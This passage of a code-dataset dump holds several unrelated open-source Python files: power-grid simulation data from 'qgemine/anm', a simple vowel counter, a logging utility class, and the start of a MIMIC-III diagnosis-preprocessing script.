0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1105.0, 1106.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1107.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1107.0, 1108.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1108.0, 1109.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1110.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1110.0, 1111.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1111.0, 1112.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1111.0, 1113.0, 0.000731, 0.000199, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1112.0, 1114.0, 0.000731, 0.000199, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1115.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1115.0, 1116.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1116.0, 1117.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1117.0, 1118.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1118.0, 1119.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1119.0, 1120.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1120.0, 1121.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1116.0, 1122.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1118.0, 1123.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1119.0, 1124.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1121.0, 1125.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1126.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1126.0, 1127.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1127.0, 1128.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1128.0, 1129.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1129.0, 1130.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1130.0, 1131.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1131.0, 1132.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1127.0, 1133.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1129.0, 1134.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1130.0, 1135.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1132.0, 1136.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1137.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1137.0, 1138.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1138.0, 1139.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1139.0, 1140.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1140.0, 1141.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1141.0, 1142.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1142.0, 1143.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1143.0, 1144.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1144.0, 1145.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1138.0, 1146.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1140.0, 1147.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1141.0, 1148.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1143.0, 1149.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1145.0, 1150.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1151.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1151.0, 1152.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1152.0, 1153.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1153.0, 1154.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1154.0, 1155.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1155.0, 1156.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1156.0, 1157.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1157.0, 1158.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1158.0, 1159.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1159.0, 1160.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1160.0, 1161.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1161.0, 1162.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1162.0, 1163.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1163.0, 1164.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1164.0, 1165.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1165.0, 1166.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1152.0, 1167.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1154.0, 1168.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1155.0, 1169.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1157.0, 1170.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1159.0, 1171.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1161.0, 1172.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1162.0, 1173.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1164.0, 1174.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1166.0, 1175.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0]\n ])\n\n ## List of all potential flexible services of loads.\n # Type, device, price, signal\n flex_conso = [\n [1, 1, 1.96, [0.0404, 0.0925, 0.1244, 0.1292, 0.1058, 0.0594, -0.0, -0.0594, -0.1058, -0.1292, -0.1244, -0.0925, -0.0404]],\n [1, 2, 2.54, [-0.0523, -0.0915, -0.1247, -0.1497, -0.1648, -0.1691, -0.1623, -0.1449, -0.1179, -0.0832, -0.043, 0.0, 0.043, 0.0832, 0.1179, 0.1449, 0.1623, 0.1691, 0.1648, 0.1497, 0.1247, 0.0915, 0.0523]],\n [1, 3, 1.96, [0.0404, 0.081, 0.1115, 0.1283, 0.1292, 0.1141, 0.0849, 0.0453, -0.0, -0.0453, -0.0849, -0.1141, -0.1292, -0.1283, -0.1115, -0.081, -0.0404]],\n [1, 4, 2.54, [-0.0523, -0.1304, -0.1679, -0.1531, -0.0907, 0.0, 0.0907, 0.1531, 0.1679, 0.1304, 0.0523]],\n [1, 5, 1.96, [0.0404, 0.0769, 0.1058, 0.1244, 0.1308, 0.1244, 0.1058, 0.0769, 0.0404, -0.0, -0.0404, -0.0769, -0.1058, -0.1244, -0.1308, -0.1244, -0.1058, -0.0769, -0.0404]],\n [1, 6, 2.54, [-0.0523, -0.102, -0.1405, -0.1636, -0.1687, -0.1554, -0.125, -0.081, -0.028, 0.028, 0.081, 0.125, 0.1554, 0.1687, 0.1636, 0.1405, 0.102, 0.0523]],\n [1, 7, 1.97, [0.0406, 0.0812, 0.1119, 0.1287, 0.1296, 0.1145, 0.0852, 0.0454, -0.0, -0.0454, -0.0852, -0.1145, -0.1296, -0.1287, -0.1119, -0.0812, -0.0406]],\n [1, 8, 1.97, [-0.0406, -0.0863, -0.1182, -0.1311, -0.1228, -0.0948, -0.0516, 0.0, 0.0516, 0.0948, 0.1228, 0.1311, 0.1182, 0.0863, 0.0406]],\n [1, 9, 0.5, [0.0103, 0.0235, 0.0316, 0.0328, 0.0269, 0.0151, -0.0, -0.0151, -0.0269, -0.0328, -0.0316, -0.0235, -0.0103]],\n [1, 10, 2.49, [-0.0513, -0.1174, -0.1579, -0.164, -0.1343, -0.0754, 0.0, 0.0754, 0.1343, 0.164, 0.1579, 0.1174, 0.0513]],\n [1, 11, 2.13, [0.0439, 0.1094, 0.1409, 0.1285, 0.0761, -0.0, -0.0761, -0.1285, -0.1409, -0.1094, -0.0439]],\n [1, 12, 2.13, [-0.0439, -0.1046, -0.1383, -0.1362, -0.099, -0.0361, 0.0361, 0.099, 0.1362, 0.1383, 0.1046, 0.0439]],\n [1, 13, 2.13, [0.0439, 0.1409, 0.0761, -0.0761, -0.1409, -0.0439]],\n [1, 14, 3.19, [-0.0658, -0.1283, -0.1767, -0.2057, -0.2122, -0.1955, -0.1573, -0.1018, -0.0352, 0.0352, 0.1018, 0.1573, 0.1955, 0.2122, 0.2057, 0.1767, 0.1283, 0.0658]],\n [1, 15, 3.19, [0.0658, 0.1568, 0.2073, 0.2042, 0.1483, 0.0541, -0.0541, -0.1483, -0.2042, -0.2073, -0.1568, -0.0658]],\n [1, 16, 3.20, [-0.0659, -0.1359, -0.1868, -0.2115, -0.2065, -0.1725, -0.1142, -0.0399, 0.0399, 0.1142, 0.1725, 0.2065, 0.2115, 0.1868, 0.1359, 0.0659]],\n [1, 17, 3.20, [0.0659, 0.1571, 0.2077, 0.2046, 0.1486, 0.0542, -0.0542, -0.1486, -0.2046, -0.2077, -0.1571, -0.0659]],\n [1, 18, 2.13, [-0.0439, -0.0934, -0.1279, -0.1419, -0.1329, -0.1026, -0.0558, 0.0, 0.0558, 0.1026, 0.1329, 0.1419, 0.1279, 0.0934, 0.0439]],\n [1, 19, 2.13, [0.0439, 0.0856, 0.1179, 0.1373, 0.1416, 0.1304, 0.1049, 0.0679, 0.0235, -0.0235, -0.0679, -0.1049, -0.1304, -0.1416, -0.1373, -0.1179, -0.0856, -0.0439]],\n [1, 20, 2.13, [-0.0439, -0.0905, -0.1244, -0.1409, -0.1375, -0.1149, -0.0761, -0.0266, 0.0266, 0.0761, 0.1149, 0.1375, 0.1409, 0.1244, 0.0905, 0.0439]],\n [1, 21, 3.19, [0.0658, 0.1449, 0.1971, 0.2126, 0.1884, 0.1292, 0.0459, -0.0459, -0.1292, -0.1884, -0.2126, -0.1971, -0.1449, -0.0658]],\n [1, 22, 3.19, [-0.0658, -0.1917, -0.1992, -0.0836, 0.0836, 0.1992, 0.1917, 0.0658]],\n [1, 23, 3.20, [0.0659, 0.1452, 0.1975, 0.213, 0.1888, 0.1294, 0.046, -0.046, -0.1294, -0.1888, -0.213, -0.1975, -0.1452, -0.0659]],\n [1, 24, 3.20, [-0.0659, -0.1359, -0.1868, -0.2115, -0.2065, -0.1725, -0.1142, -0.0399, 0.0399, 0.1142, 0.1725, 0.2065, 0.2115, 0.1868, 0.1359, 0.0659]],\n [1, 25, 2.17, [0.0448, 0.1067, 0.141, 0.1389, 0.1009, 0.0368, -0.0368, -0.1009, -0.1389, -0.141, -0.1067, -0.0448]],\n [1, 26, 2.18, [-0.0449, -0.1175, -0.1452, -0.1175, -0.0449, 0.0449, 0.1175, 0.1452, 0.1175, 0.0449]],\n [1, 27, 2.18, [0.0449, 0.0955, 0.1308, 0.1451, 0.1359, 0.1049, 0.0571, -0.0, -0.0571, -0.1049, -0.1359, -0.1451, -0.1308, -0.0955, -0.0449]],\n [1, 28, 2.18, [-0.0449, -0.0785, -0.107, -0.1284, -0.1414, -0.1451, -0.1393, -0.1243, -0.1012, -0.0714, -0.0369, 0.0, 0.0369, 0.0714, 0.1012, 0.1243, 0.1393, 0.1451, 0.1414, 0.1284, 0.107, 0.0785, 0.0449]],\n [1, 29, 3.25, [0.067, 0.1533, 0.2062, 0.2141, 0.1754, 0.0984, -0.0, -0.0984, -0.1754, -0.2141, -0.2062, -0.1533, -0.067]],\n [1, 30, 3.27, [-0.0674, -0.1158, -0.1573, -0.1893, -0.2099, -0.2179, -0.2128, -0.1949, -0.1653, -0.1257, -0.0786, -0.0267, 0.0267, 0.0786, 0.1257, 0.1653, 0.1949, 0.2128, 0.2179, 0.2099, 0.1893, 0.1573, 0.1158, 0.0674]],\n [1, 31, 3.27, [0.0674, 0.135, 0.1859, 0.2138, 0.2153, 0.1902, 0.1416, 0.0755, -0.0, -0.0755, -0.1416, -0.1902, -0.2153, -0.2138, -0.1859, -0.135, -0.0674]],\n [1, 32, 3.27, [-0.0674, -0.1485, -0.2019, -0.2177, -0.193, -0.1324, -0.047, 0.047, 0.1324, 0.193, 0.2177, 0.2019, 0.1485, 0.0674]],\n [1, 33, 3.27, [0.0674, 0.1485, 0.2019, 0.2177, 0.193, 0.1324, 0.047, -0.047, -0.1324, -0.193, -0.2177, -0.2019, -0.1485, -0.0674]],\n [1, 34, 1.71, [-0.0352, -0.0776, -0.1056, -0.1139, -0.1009, -0.0692, -0.0246, 0.0246, 0.0692, 0.1009, 0.1139, 0.1056, 0.0776, 0.0352]],\n [1, 35, 1.72, [0.0355, 0.0755, 0.1034, 0.1147, 0.1075, 0.083, 0.0451, -0.0, -0.0451, -0.083, -0.1075, -0.1147, -0.1034, -0.0755, -0.0355]],\n [1, 36, 1.72, [-0.0355, -0.0979, -0.1134, -0.0746, 0.0, 0.0746, 0.1134, 0.0979, 0.0355]],\n [1, 37, 1.72, [0.0355, 0.0846, 0.1118, 0.1101, 0.08, 0.0292, -0.0292, -0.08, -0.1101, -0.1118, -0.0846, -0.0355]],\n [1, 38, 1.72, [-0.0355, -0.0929, -0.1148, -0.0929, -0.0355, 0.0355, 0.0929, 0.1148, 0.0929, 0.0355]],\n [1, 39, 1.72, [0.0355, 0.0782, 0.1063, 0.1147, 0.1016, 0.0697, 0.0248, -0.0248, -0.0697, -0.1016, -0.1147, -0.1063, -0.0782, -0.0355]],\n [1, 40, 1.72, [-0.0355, -0.0755, -0.1034, -0.1147, -0.1075, -0.083, -0.0451, 0.0, 0.0451, 0.083, 0.1075, 0.1147, 0.1034, 0.0755, 0.0355]],\n [1, 41, 1.72, [0.0355, 0.0711, 0.0979, 0.1126, 0.1134, 0.1002, 0.0746, 0.0397, -0.0, -0.0397, -0.0746, -0.1002, -0.1134, -0.1126, -0.0979, -0.0711, -0.0355]],\n [1, 42, 1.72, [-0.0355, -0.0782, -0.1063, -0.1147, -0.1016, -0.0697, -0.0248, 0.0248, 0.0697, 0.1016, 0.1147, 0.1063, 0.0782, 0.0355]],\n [1, 43, 1.72, [0.0355, 0.0782, 0.1063, 0.1147, 0.1016, 0.0697, 0.0248, -0.0248, -0.0697, -0.1016, -0.1147, -0.1063, -0.0782, -0.0355]],\n [1, 44, 1.72, [-0.0355, -0.1092, -0.0929, 0.0, 0.0929, 0.1092, 0.0355]],\n [1, 45, 2.82, [0.0581, 0.108, 0.1484, 0.1757, 0.1876, 0.183, 0.1623, 0.1273, 0.0812, 0.0279, -0.0279, -0.0812, -0.1273, -0.1623, -0.183, -0.1876, -0.1757, -0.1484, -0.108, -0.0581]],\n [1, 46, 1.11, [-0.0229, -0.0704, -0.0599, 0.0, 0.0599, 0.0704, 0.0229]],\n [1, 47, 2.84, [0.0585, 0.1005, 0.1365, 0.1643, 0.1822, 0.1891, 0.1847, 0.1692, 0.1434, 0.1091, 0.0682, 0.0232, -0.0232, -0.0682, -0.1091, -0.1434, -0.1692, -0.1847, -0.1891, -0.1822, -0.1643, -0.1365, -0.1005, -0.0585]],\n [1, 48, 1.12, [-0.0231, -0.0551, -0.0729, -0.0718, -0.0521, -0.019, 0.019, 0.0521, 0.0718, 0.0729, 0.0551, 0.0231]],\n [1, 49, 2.839, [0.0585, 0.1531, 0.1892, 0.1531, 0.0585, -0.0585, -0.1531, -0.1892, -0.1531, -0.0585]],\n [1, 50, 1.12, [-0.0231, -0.0463, -0.0638, -0.0734, -0.0739, -0.0653, -0.0486, -0.0259, 0.0, 0.0259, 0.0486, 0.0653, 0.0739, 0.0734, 0.0638, 0.0463, 0.0231]],\n [1, 51, 2.839, [0.0585, 0.1087, 0.1493, 0.1768, 0.1888, 0.1842, 0.1633, 0.1281, 0.0817, 0.0281, -0.0281, -0.0817, -0.1281, -0.1633, -0.1842, -0.1888, -0.1768, -0.1493, -0.1087, -0.0585]],\n [1, 52, 1.12, [-0.0231, -0.044, -0.0605, -0.0711, -0.0748, -0.0711, -0.0605, -0.044, -0.0231, 0.0, 0.0231, 0.044, 0.0605, 0.0711, 0.0748, 0.0711, 0.0605, 0.044, 0.0231]],\n [1, 53, 2.839, [0.0585, 0.1171, 0.1613, 0.1856, 0.1869, 0.1651, 0.1229, 0.0655, -0.0, -0.0655, -0.1229, -0.1651, -0.1869, -0.1856, -0.1613, -0.1171, -0.0585]]\n ]\n\n # Sets of generators and loads from the set of all devices.\n gens = (case[\"gen\"][:,1]>0.0).nonzero()[0]\n loads = (case[\"gen\"][:,1]<0.0).nonzero()[0]\n\n # Determine subset of considered flexible services of loads given the flex lvl parameter.\n N_flex = len(flex_conso)\n flex_steps = {\n 'NONE':[], # 0\n 'LOW':range(0,N_flex,5), # 11\n 'MEDIUM':range(0,N_flex,5)+range(1,N_flex,5), # 22\n 'HIGH':range(0,N_flex,5)+range(1,N_flex,5)+range(2,N_flex,5), # 33\n 'VERY HIGH': range(0,N_flex,5)+range(1,N_flex,5)+range(2,N_flex,5)+range(3,N_flex,5), # 43\n 'FULL':range(53)\n }\n case[\"flex\"] = []\n for k in flex_steps[flex_level]:\n case[\"flex\"] += [flex_conso[k]]\n\n # Define the curtailment services for wind generators.\n curt_price = array([45., 38., 35., 31., 30., 34., 41., 48., 53., 55., 56.,\n 57., 54., 51., 47., 46., 47., 52., 59., 60., 54., 52.,\n 51., 49.])\n for gen in gens[-6:]:\n case[\"flex\"] += [[2, gen, lambda real_time, price_time: curt_price[ceil((price_time-1)/4)]]]\n\n # Define the stochastic models describing the consumption of loads and the production of generators.\n load_scales = array([0.4285, 0.4505, 0.3325, 0.3995, 0.4155, 0.4395, 0.3585,\n 0.405 , 0.083 , 0.443 , 0.36 , 0.3905, 0.4515, 0.575 ,\n 0.592 , 0.5625, 0.4605, 0.3445, 0.3775, 0.357 , 0.578 ,\n 0.404 , 0.6275, 0.5865, 0.4015, 0.383 , 0.4625, 0.395 ,\n 0.584 , 0.4965, 0.6195, 0.5825, 0.5695, 0.279 , 0.299 ,\n 0.3145, 0.302 , 0.26 , 0.493 , 0.2825, 0.3235, 0.3045,\n 0.2835, 0.3005, 0.5495, 0.198 , 0.5225, 0.194 , 0.506 ,\n 0.17 , 0.54 , 0.244 , 0.443 ])\n pv_scales = 1.e-6*array([ 318., 412., 318., 412., 318., 412., 320., 320., 80.,\n 404., 346., 346., 346., 518., 518., 520., 520., 346.,\n 346., 346., 518., 518., 520., 520., 352., 354., 354.,\n 354., 528., 532., 532., 532., 532., 278., 280., 280.,\n 280., 280., 280., 280., 280., 280., 280., 280., 458.,\n 180., 462., 182., 462., 182., 462., 182., 462.])\n case[\"power\"] = []\n for load, scale in zip(loads, load_scales):\n case[\"power\"] += [[load, LoadSampler(scale)]] # Dev id, callable\n for gen, scale in zip(gens[:-6],pv_scales):\n case[\"power\"] += [[gen, lambda ir, ws, scale=scale: scale*ir]] # Dev id, callable\n for gen in gens[-6:]:\n case[\"power\"] += [[gen, lambda ir, ws: (9.0/6.0)*min(0.015*(ws-3.5)**3,3.0)*(ws>=3.5)*(ws<=25)]] # Dev id, callable\n\n return case\n", "source": "qgemine/anm", "license": "MIT"} {"text": "#In this program it will tell How many vowels are there in total\nuserInput=\"\";\nprint(\"Enter the name to calculate the number of volwels you wanted to know :\");\nUserInput=input();\ncount=0;\nfor i in UserInput:\n if(i=='a' or i=='e' or i=='o' or i=='u'):\n count=count+1;\n\nprint(\"The number of vowels entered in your name are:\\n\" +str(count));\n\n#Vowels are printed in a unique way. If there are two 'a's it doesnt count\n \n", "source": "anayakoti/FirstSample", "license": "bzip2-1.0.6"} {"text": "from __future__ import annotations\n\nfrom typing import Any, Optional\nimport getpass\n\nfrom maybe import Maybe\nfrom subtypes import DateTime, Str\nfrom pathmagic import File, Dir, PathLike\nfrom miscutils import StreamReplacerMixin\n\nfrom .console import Console\n\n\nclass Log:\n \"\"\"\n A log class intended to provide a cookie-cutter alternative to the logging module, which allows for much less custimization, but also requires less setup.\n This log has a concept of being active/inactive. A deactivated log will do nothing when written to. The first time it is activated it will log the current time and user.\n When used as a context manager, the log will activate upon entering, and deactivate upon exiting.\n \"\"\"\n\n def __init__(self, path: PathLike) -> None:\n self._path, self.user = path, getpass.getuser()\n self._active = self._initialized = False\n self.file: Optional[File] = None\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}({', '.join([f'{attr}={repr(val)}' for attr, val in self.__dict__.items() if not attr.startswith('_')])})\"\n\n def __enter__(self) -> Log:\n self.activate()\n return self\n\n def __exit__(self, ex_type: Any, ex_value: Any, ex_traceback: Any) -> None:\n self.deactivate()\n self.post_process()\n\n @property\n def active(self) -> bool:\n \"\"\"Set whether this log is active/inactive. A deactivated log will do nothing when written to.\"\"\"\n return self._active\n\n @active.setter\n def active(self, val: bool) -> None:\n (self.activate if val else self.deactivate)()\n\n def activate(self) -> None:\n \"\"\"Activate this log.\"\"\"\n if self._path is not None:\n if not self._initialized:\n self._initialize()\n\n self._active = True\n\n def deactivate(self) -> None:\n \"\"\"Deactivate this log. A deactivated log will do nothing when written to.\"\"\"\n self._active = False\n\n def write(self, text: str, add_newlines: int = 2) -> None:\n \"\"\"Write the given text this log, optionally appending newlines.\"\"\"\n if self.active:\n br = \"\\n\"\n self.file.content += f\"{text}{br*add_newlines}\"\n\n def write_delimiter(self, length: int = 200, add_newlines: int = 2) -> None:\n \"\"\"Write a delimiter of hyphens to this log, optionally appending newlines.\"\"\"\n if self.active:\n br = \"\\n\"\n self.file.content += f\"{'-'*length}{br*add_newlines}\"\n\n def start(self) -> None:\n \"\"\"Start this log's file using the default application for this type of file.\"\"\"\n self.file.start()\n\n def post_process(self) -> None:\n pass\n\n def _initialize(self) -> None:\n self.file = File(self._path)\n\n if self.file.content:\n self.file.append(f\"{'-' * 200}\\n\")\n self.file.append(f\"-- Process run by user: {self.user} at: {DateTime.now()}\\n\\n\")\n\n self._initialized = True\n\n @classmethod\n def from_details(cls, log_name: str, file_extension: str = \"txt\", log_dir: PathLike = None, active: bool = True) -> Log:\n \"\"\"Create a new Log from the given arguments.\"\"\"\n default_log_dir = Dir.from_home().d.documents.new_dir(\"Python\").new_dir(\"logs\")\n logdir = Dir.from_pathlike(Maybe(log_dir).else_(default_log_dir))\n file = logdir.new_file(f\"{DateTime.today().to_filetag()}_{log_name}\", file_extension)\n\n return cls(file)\n\n\nclass PrintLog(Log, StreamReplacerMixin):\n \"\"\"A subclass of miscutils.Log directed at capturing the sys.stdout stream and logging it, in addition to still writing to sys.stdout (though this can be controlled with arguments).\"\"\"\n\n def __init__(self, path: PathLike, active: bool = True, to_stream: bool = True, to_file: bool = True) -> None:\n super().__init__(path=path)\n self.to_stream, self.to_file = to_stream, to_file\n\n def __call__(self, to_stream: bool = True, to_file: bool = True) -> PrintLog:\n self.to_stream, self.to_file = to_stream, to_file\n return self\n\n def __enter__(self) -> PrintLog:\n super().__enter__()\n StreamReplacerMixin.__enter__(self)\n return self\n\n def __exit__(self, ex_type: Any, ex_value: Any, ex_traceback: Any) -> None:\n super().__exit__(ex_type=ex_type, ex_value=ex_value, ex_traceback=ex_traceback)\n StreamReplacerMixin.__exit__(self, ex_type=ex_type, ex_value=ex_value, ex_traceback=ex_traceback)\n\n def write(self, text: str, to_stream: bool = None, to_file: bool = None, add_newlines: int = 0) -> None:\n \"\"\"Write the given text to this log's file and to sys.stdout, based on the 'to_console' and 'to_file' attributes set by the constructor. These attributes can be overriden by the arguments in this call.\"\"\"\n if Maybe(to_stream).else_(self.to_stream):\n self.stream.write(text + \"\\n\"*add_newlines)\n\n if Maybe(to_file).else_(self.to_file):\n super().write(text, add_newlines=add_newlines)\n\n def post_process(self) -> None:\n if (clear_line := f\"{Console.UP_ONE_LINE}{Console.CLEAR_CURRENT_LINE}\") in (text := self.file.content):\n lines, escaped_clear_line, out_lines, skip_counter = reversed(text.split(\"\\n\")), Str(clear_line).re.escape(), [], 0\n for index, line in enumerate(lines):\n num_to_clear = line.count(clear_line)\n if skip_counter:\n skip_counter -= 1\n else:\n out_lines.append(Str(line).slice.after_last(escaped_clear_line) if num_to_clear else line)\n\n if num_to_clear:\n skip_counter = max([skip_counter, num_to_clear])\n\n self.file.content = \"\\n\".join(reversed(out_lines))\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# This script processes MIMIC-III dataset and builds longitudinal diagnosis records for patients with at least two visits.\n# The output data are cPickled, and suitable for training Doctor AI or RETAIN\n# Written by Edward Choi (mp2893@gatech.edu)\n# Usage: Put this script to the foler where MIMIC-III CSV files are located. Then execute the below command.\n# python process_mimic.py ADMISSIONS.csv DIAGNOSES_ICD.csv \n\n# Output files\n# .pids: List of unique Patient IDs. Used for intermediate processing\n# .dates: List of List of Python datetime objects. The outer List is for each patient. The inner List is for each visit made by each patient\n# .seqs: List of List of List of integer diagnosis codes. The outer List is for each patient. The middle List contains visits made by each patient. The inner List contains the integer diagnosis codes that occurred in each visit\n# .types: Python dictionary that maps string diagnosis codes to integer diagnosis codes.\n\nimport sys\nimport pickle\nfrom datetime import datetime\n\ndef convert_to_icd9(dxStr):\n if dxStr.startswith('E'):\n if len(dxStr) > 4: \n return dxStr[:4] + '.' + dxStr[4:]\n else: \n return dxStr\n else:\n if len(dxStr) > 3: \n return dxStr[:3] + '.' + dxStr[3:]\n else: \n return dxStr\n \ndef convert_to_3digit_icd9(dxStr):\n if dxStr.startswith('E'):\n if len(dxStr) > 4: \n return dxStr[:4]\n else: \n return dxStr\n else:\n if len(dxStr) > 